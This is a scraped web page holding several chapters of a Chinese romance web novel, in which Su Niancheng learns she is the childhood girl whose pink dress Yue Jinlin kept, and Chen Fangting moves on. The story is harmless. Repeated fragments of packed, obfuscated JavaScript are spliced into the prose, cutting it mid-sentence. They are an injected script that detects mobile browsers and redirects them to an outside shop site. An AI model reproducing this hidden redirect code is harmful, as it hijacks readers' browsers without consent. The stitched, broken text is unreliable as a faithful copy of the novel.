l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17318291|198715||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 地红了,心跳快得像要从嗓子眼蹦出来。 她不敢动,就那么僵着,盯着他近在咫尺的脸。 阳光从窗帘的缝隙透进来,照在他脸上。 棱角分明的轮廓被晨光柔化,眉眼深邃,睫毛很长,鼻梁挺直。 他睡着的样子,比醒着的时候温和多了。 她盯着他的眉骨,看得有些出神。 他忽然动了一下,揽着她的手收紧了些。 苏念橙吓了一跳,赶紧闭上眼睛装睡。 过了几秒,没动静了。 她偷偷睁开一只眼,他还睡着。 她松了口气,轻轻拿开他搭在腰上的手,一点一点往床边挪。 下了床,她站在床边,捂着胸口喘气。 回头看了他一眼,他还睡着,没醒。 她赶紧轻手轻脚地出了门。 楼下,厨房里飘来香味。 老太太系着围裙站在灶台前,听见动静回过头。 “念橙醒啦?”她笑眯眯的,“睡得好吗?” 苏念橙脸还有点红,点点头,“挺好的,谢谢奶奶。” 老太太招呼她,“过来帮忙,粥快好了,你把碗筷摆一下。” 苏念橙应了声:“好嘞,奶奶。”她走过去,帮着摆碗筷。 老太太一边忙活一边问,“靳临呢?还没醒?” 苏念橙点点头,“嗯,还睡着。” 老太太笑了,“那小子难得睡个懒觉。平时起得比鸡还早,昨天喝多了,让他多睡会儿。” 她说着,把煎好的荷包蛋盛出来,“念橙,你先吃,别等他。” 苏念橙摇摇头,“我等奶奶一起吃。” 老太太乐了,“好孩子。” 两人把饭菜端上桌,刚坐下,楼梯口传来脚步声。 越靳临走下来,头发还乱着,脸上带着刚睡醒的慵懒。他穿着件深灰色的毛衣,领口有点歪,露出一点锁骨。 看见苏念橙,他脚步顿了顿。 昨夜半梦半醒,他只记得唇上触上柔软的触感,那不是梦。 苏念橙低下头,假装在摆筷子。 老太太招呼他,“临儿,快来吃饭。” 越靳临嗯了一声,他走过来,在苏念橙对面坐下。 他看了她一眼,“早上好。” 第七十八章 惆怅 苏念橙闻声抬头,点点头,“早啊。” 老太太给他盛了碗粥,“昨晚喝那么多,今天头疼不疼?” 越靳临摇摇头,“不疼。” “那就好。”老太太把荷包蛋推到他面前,“多吃点,补补。” 三人安静地吃着饭。 苏念橙低着头,小口小口喝粥。余光里,越靳临偶尔看她一眼。 她没抬头。 吃完饭,老太太收拾碗筷,两人上楼收拾东西。 苏念橙走进房间,把昨晚带来的包拎起来。 刚转身,越靳临推门进来。 他走过来,从衣柜里拿出件外套,准备换上。 苏念橙站在那儿,看着他。 他背对着她,正把外套往身上套。 她咬了咬嘴唇,忽然开口。 “越靳临。” 他回过头,“嗯?” 苏念橙看着他,“你衣柜里那条裙子,是谁的?” 越靳临愣了一下,“什么裙子?” 苏念橙走过去,拉开柜门,指了指最里头挂着的那条粉色小裙。 “这条。”她看着他。 越靳临盯着那条裙子,沉默了几秒。 然后他走过来,伸手摸了摸那条裙子。 “你怎么发现的?” 苏念橙看着他,“昨晚睡不着,随便看了看。” 越靳临点点头,没追问。 他盯着那条裙子,像是在回忆什么。 “小时候在乡下,一个女孩子的。”他说,声音低沉,“具体是谁,已经没什么印象了。” 苏念橙愣住了。 “乡下?” “嗯。”越靳临靠着衣柜,看着那条裙子,“我爸走的那年,我十三。我妈带着小雪去了京海,顾不上我。奶奶就把我送回乡下姥姥家住了一阵子。” 他说得很平静,像在说别人的事。 苏念橙静静地听着。 “那时候心里恨我妈,觉得她不要我了。”他顿了顿,“在乡下那段时间,天天板着脸,谁都不理。村里有个女孩子,比我小挺多的,她瘦瘦小小的,胆子却大。她不怕我,天天来找我玩。” 他似惆怅,嘴角微微上扬,“带我去河里摸鱼,去山上摘野果,去地里挖红薯。有一回,我们出去玩,我衣服弄脏了,她把自己的裙子换给我穿,让我穿着回家,她穿着我的衣服回去挨骂。” 苏念橙听着,脑子里忽然闪过一个画面。 粉色的碎花裙,荷叶边。 她好像也有过一条这样的裙子。 那是母亲还在的时候,给她做的。用攒了好久的布票买的布料,一针一线缝的。 她穿着那条裙子,在村里跑,在河边玩。 后来母亲走了,那条裙子也不见了。 她愣愣地看着那条裙子,脑子里那个画面越来越清晰。 “那条裙子,”她忽然开口,声音有点抖,“是不是你后来还给人家的?” 越靳临摇摇头,“没有。第二天我们就搬家了,没来得及还。” 苏念橙愣住了。 她盯着那条裙子,心跳快了几拍。 “那个女孩子,”她听见自己的声音,干巴巴的,“叫什么名字?” 越靳临想了想,摇头,“不记得了。就记得她眼睛很亮,笑起来有两个梨涡。” 两个梨涡。 苏念橙下意识摸了摸自己的脸。 她笑起来,也有两个梨涡。 母亲还在的时候,总爱捏她的脸。 那时候母亲就总说,“我们橙子笑起来最好看,有两个小酒窝”。 她盯着那条裙子,脑子里那个画面越来越清晰。 粉色的碎花裙,荷叶边。 她穿着它在河边跑,有个男孩子站在岸边,板着脸,不理人。 她跑过去,拉住他的手,问他:“你怎么不笑?笑一个嘛”。 那个男孩子低头看她,眼睛黑沉沉的,他冷冷道:“我为什么要笑给你看。” 苏念橙不记得后半段男孩说什么了,只记得两人的玩的挺好的。 后来……后来怎么样了? 她想不起来了。 “念橙?”越靳临的声音在耳边响起。 苏念橙回过神,抬起头。 他正看着她,眉头微微皱着。 “怎么了?” 苏念橙摇摇头,“没什么。” 她咬了咬嘴唇,指着那条裙子,“这条裙子,能给我看看吗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17318292|198715||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ?” 越靳临点点头,“当然。” 他把裙子取下来,递给她。 苏念橙接过来,翻到领口内侧。 那里绣着一个小小的字母。 C。 她的手指抖了一下。 母亲给她做的每件衣服,都会在领口内侧绣个C字。 她攥着那条裙子,眼眶忽然酸了。 “越靳临。”她抬起头,看着他。 “嗯?” 她张了张嘴,想说什么,却不知道该怎么说。 最后只憋出一句,“那个女孩子……可能是我。” 越靳临愣住了。 他看着她,那双黑沉沉的眼睛里闪过什么。 “你说什么?” 苏念橙攥着那条裙子,指节泛白。她抬起头,对上他的视线。 她认真问:“你去的那个村,是不是梨花村?” 越靳临眉头微微皱了皱,“是。” 苏念橙心跳漏了一拍。 “村口有棵大槐树,”她说,声音有点抖,“树底下有块大石头,那时候我们常在那边玩。” 越靳临已经开始慢慢确认了,这个的确是他们一块玩的地方。 苏念橙继续说下去,“那年我六岁。我妈还在,她给我做了条新裙子,粉色的,领口有荷叶边。我穿着它出去玩,在河边遇见一个男孩,他板着脸,不理人。” 她顿了顿,“我拉他的手,问他你怎么不笑?笑一个嘛。” 越靳临的呼吸重了一瞬。 他盯着她,那双眼睛里的情绪翻涌着,像有什么东西要从里头冲出来。 “那个男孩后来搬走了。”苏念橙低下头,看着手里的裙子,“裙子也没还回来。我妈问过我,我说借给朋友了。后来我妈走了,我也搬走了,就再也没见过那条裙子。” 她把裙子翻过来,指着领口内侧那个小小的字母。 “我妈做的每件衣服,都会在这儿绣个C。橙子的首字母。” 越靳临看着那个C,沉默了很久。 他伸手,接过那条裙子,指腹轻轻摩挲着那个字母。 “是你。”他开口,声音低沉,带着点哑。 苏念橙点点头,“应该是。” 第七十九章 初雪 越靳临抬起头,看着她。 她就站在那儿,晨光从窗帘的缝隙透进来,落在她身上。 记忆中圆圆的小脸,和此刻精致的小脸重叠,杏眸圆圆的,跟小时候一模一样。 他忽然想起那些画面。 她笑起来有两个梨涡,眼睛弯成月牙。 他一直记得那双眼睛。 可他不记得名字了。 后来搬家搬得急,没来得及还裙子。再后来回去找过,可她家已经搬走了,村里人说不清楚去了哪儿。 那条裙子,他一直留着。 说不出为什么,就是舍不得丢。 没想到—— “你为什么会一直留着这条裙子?”苏念橙的声音打断他的思绪。 越靳临回过神,看着她。 她站在那儿,等着他回答。 他沉默了几秒,然后开口。 “不知道。”他说,声音低沉,“就是舍不得丢。” 苏念橙愣住了。 他看着她,那双眼眸黑沉沉的,像能把人吸进去。 “小时候的事,很多都忘了。”他说,“可你一直记得。” 他往前走了一步,站在她面前。 “我记得你笑起来有两个梨涡,眼睛很亮。”他低头看着她,“我记得你拉我的手,让我笑一个。” 苏念橙心跳漏了一拍。 她抬起头,对上他的视线。 他就那么看着她,那眼神,认真得很。 “没想到是你。”他说,声音低低的,“一直是你。” 苏念橙眼眶忽然酸了。 她自己也不知道是怎么了。 只能说太有缘份。 他忽然伸出手,把她轻轻揽进怀里。 苏念橙愣住了。 他的胸膛宽厚温热,心跳沉稳有力,隔着薄薄的布料,一下一下传到她身上。 他把下巴抵在她头顶,抱得很紧。 “谢谢你。”他说,声音有点哑,“谢谢你那时候陪我玩。” 苏念橙趴在他肩上,眼泪终于掉下来。 她没出声,只是攥紧他腰侧的衣服,肩膀轻轻抖着。 她想起那些年在乡下,母亲走后,日子过得苦。 可偶尔想起小时候,想起那个板着脸的男孩,心里还是会暖一下。 她从来没想过,会再见到他。 更没想过,会是以这种方式。 “越靳临。”她开口,声音闷闷的。 “嗯?” “你那时候为什么不笑?”她抬起头,眼睛红红的,看着他。 越靳临低头看着她,嘴角微微弯了弯。 “因为觉得我妈不要我了。”他说,“心里难受。” 苏念橙心里一酸。 她想起他说过的那些事。 十三岁,父亲走了,母亲带着妹妹去了京海,顾不上他。 被送回乡下姥姥家,心里恨着,天天板着脸。 她那时候不知道。 她只知道那个男孩不爱说话,总是一个人站在河边发呆。她想去陪他,让他高兴一点。 “后来呢?”她问。 “后来?”他想了想,“后来你天天来找我玩,我就不难受了。” 苏念橙愣住了。 他看着她,那双眼眸里带着笑意。 “你那时候小,不懂事。”他说,“可你是第一个,也是唯一一个,愿意陪我的。” 苏念橙心里像被什么东西狠狠撞了一下。 她低下头,把脸埋回他怀里。 “原来我们早就认识了。” 就在这时,门口传来一声轻咳。 “咳咳。” 两人同时愣住。 苏念橙猛地从他怀里挣出来,脸腾地红了。 老太太站在门口,手里端着个搪瓷缸子,笑眯眯地看着他们。 “那个……”她笑得眼睛眯成一条缝,“我就是来问问,你们要不要再住一晚?外头下雪了,路不好走。” 下雪了? 苏念橙往窗外看了一眼。 果然,外头白茫茫一片,雪花纷纷扬扬地往下落。 她脸更红了。 老太太看着两人那副样子,笑得更欢了,“行了行了,不打扰你们。要不要住?不住的话,我给你们找两件厚外套,骑车回去冷。” 越靳临看向苏念橙。 苏念橙低着头,耳朵尖都红透了。 “住吧。”他开口,“下雪了,不安全。” 老太太点点头,“行,那我去收拾收拾。中午给你们炖羊肉,暖和暖和。” 她转身要走,又回过头,冲苏念橙眨眨眼。 “念橙啊,奶奶喜欢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17318293|198715||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你。” 说完,她就走了,门关上了。 苏念橙站在原地,脸红得能滴血。 越靳临低头看着她,嘴角弯了弯。 “奶奶逗你呢。”他说。 苏念橙抬起头,瞪了他一眼,“都怪你。” 越靳临愣了一下,“怪我什么?” “怪你……”她咬了咬嘴唇,不知道该怎么说,最后只憋出一句,“怪你抱我。” 越靳临看着她那副又羞又窘的样子,心里软成一团。 “好。”他说,“怪我。” 他伸手,揉了揉她的头发。 “那现在怎么办?”苏念橙小声说,“奶奶肯定误会了。” “误会什么?” “误会我们……”她说不下去了。 越靳临看着她,那双眼眸里带着笑意。 “误会什么?”他又问了一遍,声音低低的。 苏念橙被他看得心跳加速,低下头,“误会我们……那个……” “哪个?” 她急了,抬起头瞪他,“你故意的!” 越靳临笑了。 他笑起来的时候,眉眼都柔和了,跟平时冷硬的样子完全不一样。 苏念橙看着他那张笑脸,心里那点羞恼忽然散了。 她低下头,小声说,“算了,误会就误会吧。” 越靳临看着她低垂的睫毛,心里软了一下。 他伸手,把她拉回怀里。 “那就让他们误会。”他说,“反正迟早是真的。” 苏念橙愣住了。 她趴在他肩上,闻着那股熟悉的皂味,心跳快得像要从嗓子眼蹦出来。 “你……”她声音闷闷的,“你说什么?” 越靳临耳根一红,含糊地嗯了一声,没接话。 苏念橙撇了撇嘴,从他怀里挣出来,走到窗边,往外看了一眼。 雪花纷纷扬扬地往下落,地上已经积了薄薄一层白。 “真下雪了。”她回过头,看着他,眼睛亮亮的,“这还是我今年第一次看见雪呢。” 越靳临走过来,站在她旁边。 窗玻璃上结了一层薄薄的水汽,外头的世界模模糊糊的,只有雪花清晰可见。 “等晚点不知道能不能堆雪人。”苏念橙望着窗外,语气里带着点期待。 第八十章 不介意 越靳临低头看她,嘴角弯了弯,“初雪不会下太大的。奶奶唬我们呢,就是想留我们再住一晚。” 苏念橙愣了一下,反应过来,脸又红了。 她咬了咬嘴唇,小声说,“那……那咱们还住不住?” 越靳临看着她那副样子,心里软了一下。 “你想住吗?”他问。 苏念橙想了想,摇摇头,“还是回去吧。明天周一,你有工地的事,我也有课。” 越靳临点点头,“好。等雪停了就走。” 雪下了一个多钟头,果然慢慢停了。 两人收拾好东西,跟老太太道别。 老太太站在门口,拉着苏念橙的手,笑眯眯的,“念橙啊,常来。奶奶这儿随时欢迎你。” 苏念橙点点头,“好,奶奶保重。” 越靳临跨上摩托车,苏念橙坐到他身后,搂住他的腰。 摩托车发动,慢慢驶出大院。 路上的积雪**,车轮碾过,发出咯吱咯吱的声响。 风刮在脸上凉飕飕的,苏念橙把脸埋在他背上,闻着那股熟悉的皂味,心里暖洋洋的。 接下来的几天,日子照常过。 但又好像不太一样。 越靳临还是每天早起做饭,晚上回来做晚饭。可看她的眼神,跟以前不太一样了。 多了点什么。 苏念橙说不上来,但每次被他那样看着,心跳就会快几拍。 那条粉色的小裙子,被她叠好收起来了。她没说那是她的,他也没问。 可她知道,有些东西,已经不一样了。 这天下午,苏念橙去师范学院旁听一节公开课。 讲的是现当代文学,老师讲得生动,她听得认真,笔记本上密密麻麻记了好多。 下课铃响的时候,她揉了揉发酸的手腕,收拾好东西往外走。 刚走出教学楼,迎面就看见陈芳婷从对面走过来。 她穿着件素色的厚外套,头发披着,手里抱着几本书,身边还跟着几个学生。 “陈老师,下周的课还是这个时间吗?”一个扎马尾的女生问。 陈芳婷点点头,“对,还是这个时间。有问题随时来找我。” 几个学生笑着跟她道别,往另一个方向走了。 苏念橙站在原地,犹豫了一下,还是走过去。 “芳婷姐。” 陈芳婷回过头,看见是她,愣了一下。 “念橙?”她笑了笑,“来旁听?” 苏念橙点点头,“嗯,刚下课。” 陈芳婷看着她,目光在她脸上转了一圈,然后说,“正好,我也刚下课。要不要一起去吃午饭?学校食堂的饭还不错。” 苏念橙没想到她会主动邀请,愣了一下,点点头,“好啊。” 两人往食堂走。 路上人不多,偶尔有几个学生路过,跟陈芳婷打招呼,喊她“陈老师”。 陈芳婷一一回应,笑得温柔。 苏念橙走在她旁边,没说话。 到了食堂,陈芳婷打了饭,找了张靠窗的桌子坐下。 苏念橙在她对面坐下,低头吃饭。 吃了几口,陈芳婷忽然开口。 “念橙。”她放下筷子,看着她,“那条裙子,你看见了吧?” 苏念橙筷子顿了顿。 她抬起头,对上陈芳婷的视线。 那双眼睛,温柔里带着点复杂。 “看见了。”苏念橙说。 陈芳婷看着她,沉默了几秒。 “那现在,”她开口,声音轻轻的,“死心了没?” 苏念橙愣了一下,随即反应过来她在说什么。 她放下筷子,看着陈芳婷。 “芳婷姐,”她说,“那条裙子,是五六岁小女孩穿的。” 陈芳婷愣住了。 苏念橙继续说下去,“我跟一个小孩子,没什么好计较的。” 而且那裙子本来就是她的。 她不想说出来,惹别人心里不快。 陈芳婷脸上的表情变了变。 她盯着苏念橙,眼里闪过什么,像是意外,又像是别的。 “你……不介意?”她问。 苏念橙摇摇头,“不介意。” 她想了想,又补了一句,“每个人都有过去。那条裙子,不管是谁的,都过去了。他现在对我好,就够了。” 陈芳婷看着她,沉默了很久。 然后她低下头,盯着碗里的饭,没说话。 苏念橙也没说话,继续吃饭。 吃了一会儿,陈芳婷忽然又抬起头。 “苏念橙。”她开 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17322416|198715||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 口,声音有点哑,“你……真的不介意?” 苏念橙看着她,认真地说,“真的不介意。” 陈芳婷盯着她看了好几秒,最后扯了扯嘴角。 那个笑,有点苦。 “行。”她低下头,“那就好。” 两人继续吃饭,谁都没再说话。 吃完饭,陈芳婷站起来,“我先走了,下午还有课。” 苏念橙点点头,“好。” 陈芳婷走了两步,又回过头。 “苏念橙。”她看着她,“你……挺好的。” 说完,她转身就走了。 苏念橙站在原地,看着她的背影消失在食堂门口。 风吹过来,凉丝丝的。 她收回目光,慢慢往外走。 走出食堂,天灰蒙蒙的,像是又要下雪。 她裹紧外套,往校门口走。 走到门口,忽然看见一个熟悉的身影。 越靳临站在摩托车旁边,手里拎着个纸包。 看见她出来,他走过来。 “下课了?”他问,把纸包递给她。 苏念橙接过来,打开一看,是两个热腾腾的包子 她抬起头,看着他笑,“你怎么来了?” “路过。”他说,“想着你该下课了,就过来看看。” 苏念橙咬了一口包子,还是肉馅的。 “哇!这个包子真好吃!你哪儿买的。”她说,眼睛弯成月牙。 越靳临低头看着她,嘴角弯了弯。 “林记小摊,你喜欢吃下次我再买,”他说。 苏念橙点点头,“好呀。” 话落,两人坐车回家。 苏念橙忽然想起陈芳婷那句话。 你挺好的。 她笑了笑,把脸埋得更低。 回到家,苏念橙换了鞋,把那本笔记本放到桌上。 越靳临去厨房做饭,她坐在桌边,翻开笔记本,想整理一下今天记的笔记。 刚翻开,一张纸条从里头掉出来。 她捡起来一看,愣住了。 是陈芳婷的字迹。 上面只写了一行字:你很好,念橙。我祝你和越哥幸福。 苏念橙盯着那行字,心里五味杂陈。 她这是放弃越靳临了吗? 然后她把纸条折好,放进口袋里。 第八十一章 往前看 那天之后,苏念橙又去师范学院旁听过几次课。 说来也巧,接连几次都没碰见陈芳婷。 食堂里遇不上,教学楼门口也遇不上。 她也没多想,毕竟师范学院那么大,碰不上也正常。 这天下午,苏念橙又去旁听一节文学公开课。 下课铃响的时候,她收拾好东西往外走。 刚走到教学楼门口,就看见陈芳婷从另一边走过来。 两人同时愣了一下。 陈芳婷先笑了,“念橙?来听课?” 苏念橙点点头,“嗯,刚下课。” 陈芳婷看了看表,“正好,我也刚下课。一起去吃饭?” 苏念橙犹豫了一瞬,点点头,“好。” 两人往食堂走。 路上聊了几句,都是些有的没的,天气冷了,食堂的饭菜还行,哪个老师的课讲得好。 气氛比之前自然多了。 吃完饭,两人一块儿往校门口走。 天灰蒙蒙的,风刮在脸上凉飕飕的。 苏念橙裹紧围巾。 校门口停着几辆自行车,她的那辆凤凰牌就靠在最边上。 她正要问陈芳婷要不要送她一程,忽然看见不远处停着一辆汽车。 黑色的,锃亮,在这年头可不多见。 几个路过的学生忍不住往那边多看了几眼。 车门打开,下来一个男人。 穿着黑色大衣,身量挺高,脸庞硬朗,眉眼温和。 他朝这边走过来。 苏念橙愣了一下,下意识看向陈芳婷。 陈芳婷也看见了那人,脸上闪过一丝复杂,但很快恢复如常。 “念橙,”她转过头,笑了笑,“不用送我了,我约了人吃饭。” 苏念橙愣了一下。 这几日两人熟悉了些,她下意识问了一句,“这是谁呀?” 陈芳婷看着那个走近的男人,语气坦然得很,“我相亲对象。家里介绍的。” 苏念橙彻底愣住了。 相亲对象? 她看着陈芳婷那张温柔的脸,想从她脸上看出点什么。 可什么都没有。 陈芳婷就那么站着,风吹起她的碎发,她抬手捋了捋,嘴角还带着淡淡的笑。 那个男人已经走到跟前了。 “芳婷。”他开口,声音温和,“下课了?” 陈芳婷点点头,“嗯。你怎么来了?不是说好我自己过去吗?” 男人笑了笑,“反正今天休假,闲着也是闲着,就过来接你。” 他说着,目光落在苏念橙身上,礼貌地点点头,“你好。” 苏念橙也点点头,“你好。” 陈芳婷给他介绍,“这是我朋友,苏念橙。” 又对苏念橙说,“这是萧文彦,鄂州医院的医生。” 萧文彦朝苏念橙笑了笑,“苏同志好。” 苏念橙扯了扯嘴角,“萧医生好。” 陈芳婷看了看表,“那我们先走了。念橙,你骑车慢点。” 苏念橙点点头,“好。” 陈芳婷跟着萧文彦往那辆黑色汽车走。 萧文彦拉开副驾驶的车门,等她上了车,才绕到另一边上去。 车门关上,汽车发动,慢慢驶远了。 苏念橙站在原地,看着那辆车消失在街角,忽然扯了扯嘴角。 陈芳婷这人,真是拿得起放得下。 喜欢的时候大大方方地喜欢,知道没结果了,也大大方方地放手。 她忽然有点佩服她。 风吹过来,凉飕飕的。 她收回目光,推起自行车,跨上去,慢慢往菜市场骑。 —— 车上,萧文彦稳稳开着车。 陈芳婷坐在副驾驶,偏头看着窗外,没说话。 萧文彦看了她一眼,“今天这么早下课?” 陈芳婷嗯了一声,“下午就一节课。” 她顿了顿,随口问了一句,“你医院今天不忙?” 萧文彦笑了笑,知道她估计又没将他方才的话听进去,就解释了一遍,“我今天休假。” 陈芳婷点点头,没再说话。 窗外街景一点点往后退,灰蒙蒙的天,光秃秃的梧桐树,偶尔有几个行人骑着车经过。 她脑子里忽然闪过刚才苏念橙那个愣住的表情。 那姑娘,估计没想到她会去相亲吧。 她自己也没想到。 那天在食堂说完那些话,她回到家,躺在床上,盯着天花板看了很久。 她想起越靳临看苏念橙的眼神。 那种眼神,她从来没见过。 不是看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17322417|198715||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 妹妹的眼神,是看喜欢的人的眼神。 她忽然就明白了。 争什么?有什么好争的? 人家两情相悦,她在那儿瞎掺和什么? 后来母亲给她介绍相亲对象,说对方是鄂州省医院的医生,家里开厂子的,条件不错。 她本来不想去。 可后来一想,去就去吧。 别人都说,要想忘掉过去,就得开启新的征程。 她去了。 见了一面,萧文彦话不多,但人挺温和的,说话做事都透着股稳当劲儿。 不讨厌。 那就处着看看吧。 “芳婷?”萧文彦的声音在耳边响起。 陈芳婷回过神,偏头看他。 萧文彦看着她,眼里带着点温和的笑意,“想什么呢?那么出神。” 陈芳婷摇摇头,“没什么。对了,去哪儿吃饭?我妈非要我约你,可我也不知道你爱吃什么。” 萧文彦笑了,“我什么都吃,不挑。你定吧。” 陈芳婷想了想,“那去国营饭店?那边的红烧肉还行。” “好。” 车子拐了个弯,往国营饭店开去。 另一边,苏念橙骑着自行车,慢悠悠往菜市场走。 风刮在脸上凉飕飕的,她把围巾往上拉了拉,遮住半张脸。 脑子里还在想刚才那一幕。 陈芳婷说相亲对象的时候,语气坦然得很。 好像说的就是件很普通的事。 苏念橙忽然想起那天在食堂,陈芳婷问她“你……真的不介意?” 那时候她眼眶红红的,声音都有点抖。 可今天,她站在校门口,身边站着另一个男人,脸上带着淡淡的笑,跟她介绍,“这是我相亲对象”。 苏念橙忽然觉得,陈芳婷这人,挺厉害的。 喜欢的时候就大大方方地喜欢。 知道没结果了,也不纠缠,转身就走。 她想起以前在乡下的时候,村里有个寡妇,男人**,她守了三年,后来改嫁了。村里人嚼舌根,说她没良心,男人尸骨未寒就嫁人。 那寡妇只说了一句话: “活着的人,总得往前看。” 苏念橙当时不懂,现在有点懂了。 活着的人,总得往前看。 第八十二章 我嘴里的甜 苏念橙骑着车,拐进菜市场那条街。 这会儿人不多,卖菜的摊子稀稀拉拉摆着。 她停好车,挨个看过去。 买了把青菜,买了块五花肉,又买了几个土豆。 走到一个老奶奶的摊子前,她忽然停下脚步。 摊子上摆着几个木薯,表皮还带着泥,看着挺新鲜。 她想起越靳临前两天随口说过一句,好久没喝糖水了。 “奶奶,这木薯怎么卖?”她蹲下来。 老奶奶眯着眼看了她一眼,“两分钱一斤,姑娘要多少?” 苏念橙挑了两根,“就这些。” 老奶奶称了称,“五分钱。” 苏念橙付了钱,把木薯装进车筐里。 她骑上车,慢慢往回走。 路过那家卖包子的店,又停下来买了两个肉包子。 越靳临今天去工地了,中午不一定能回来吃饭。 她想着,要是他回来了,就给他热两个包子吃。 回到家,她把菜放进厨房,把木薯洗干净,泡在水里。 然后坐到桌边,翻开笔记本,开始整理今天的笔记。 写了几行字,门被推开了。 越靳临站在门口,身上还带着外头的寒气。 看见她,他愣了一下,“这么早就回来了?” 苏念橙点点头,“嗯,今天下课早。” 她站起来,走过去,接过他手里的东西,“吃饭了吗?我买了包子。” 越靳临摇摇头,“还没。” 苏念橙去厨房把包子热了热,端出来放到桌上。 越靳临洗了手坐下,拿起一个包子咬了一口。 “对了,”他忽然想起什么,“今天碰见谁了?” 苏念橙愣了一下,“什么?” “看你心情不错。”他说,“碰见什么好事了?” 苏念橙想了想,在桌边坐下。 “碰见芳婷姐了。”她说,“她跟一个男的在一起,说是相亲对象。” 越靳临微调眉头,看着苏念橙,那双黑沉沉的眼睛里闪过一丝意外。 “相亲对象?” 苏念橙点点头,“嗯,说是家里介绍的。鄂州医院的医生,姓萧。” 越靳临笑了下,“挺好。” 苏念橙看着他,“你不意外?” 越靳临想了想,“有点意外。但她想开了就好。” 苏念橙低下头,喝了口水。 “我觉得芳婷姐挺厉害的。”她说,“喜欢的时候敢喜欢,不喜欢了也放得下。” 越靳临看着她,没说话。 苏念橙抬起头,对上他的视线。 “怎么了?”她问。 越靳临嘴角弯了弯,“没什么。” 他伸手,揉了揉她的头发。 “你也不错。”他说。 苏念橙脸一红,低下头,小声嘟囔,“我哪儿不错了……” “哪儿都不错。”他说。 苏念橙耳朵尖都红了。 她站起来,往厨房走,“我去煮糖水。” 越靳临看着她的背影,嘴角的笑意更深了。 苏念橙在厨房里忙活,把泡好的木薯切成小块,放进锅里,加了水,又放了几块冰糖。 灶台上的火苗舔着锅底,锅里的水慢慢冒起热气。 她站在灶台前,盯着那锅糖水,心里却在想刚才越靳临说的那句话。 “你也不错。” 什么意思? 是说她也不错,值得喜欢? 还是随口夸一句? 她咬着嘴唇,脸又有点烫。 锅里的水开了,咕嘟咕嘟冒着泡,木薯的香味飘出来。 她拿勺子搅了搅,尝了一口。 甜度刚好。 可她又想起什么,放下勺子,走到厨房门口,朝外头喊了一声。 “越靳临。” 他正坐在桌边看书,听见动静抬起头,“嗯?” 苏念橙犹豫了一下,“你进来一下。” 越靳临放下书,站起来走进厨房。 “怎么了?” 苏念橙站在灶台前,手里拿着勺子,指了指那锅糖水,“我不知道你喜欢的甜度是多少,你尝尝看。” 越靳临走过去,站在她旁边。 厨房本来就不大,两个人站在一起,离得很近。 近到能闻见她身上淡淡的清香味,混着糖水的甜香。 他低头看了一眼那锅糖水,又看向她。 她仰着脸,杏眸亮亮的,等着他尝。 他伸手,想接过勺子。 苏念橙没多想,下意识舀了一勺糖水,递到他嘴边,“尝尝。” 越靳临愣住了。 他看着那勺糖水,又垂眸看她。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17322418|198715||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >她举着勺子,脸微微泛红,眼睛却直直看着他,一点没觉得这动作有什么不对。 他低下头,就着她的手,把那勺糖水喝了。 温热的,甜丝丝的,顺着喉咙滑下去。 他直起身,看着她。 “怎么样?”苏念橙问,眼里带着期待,“甜度合适吗?会不会太淡?” 越靳临看着她,嘴角微微弯了弯。 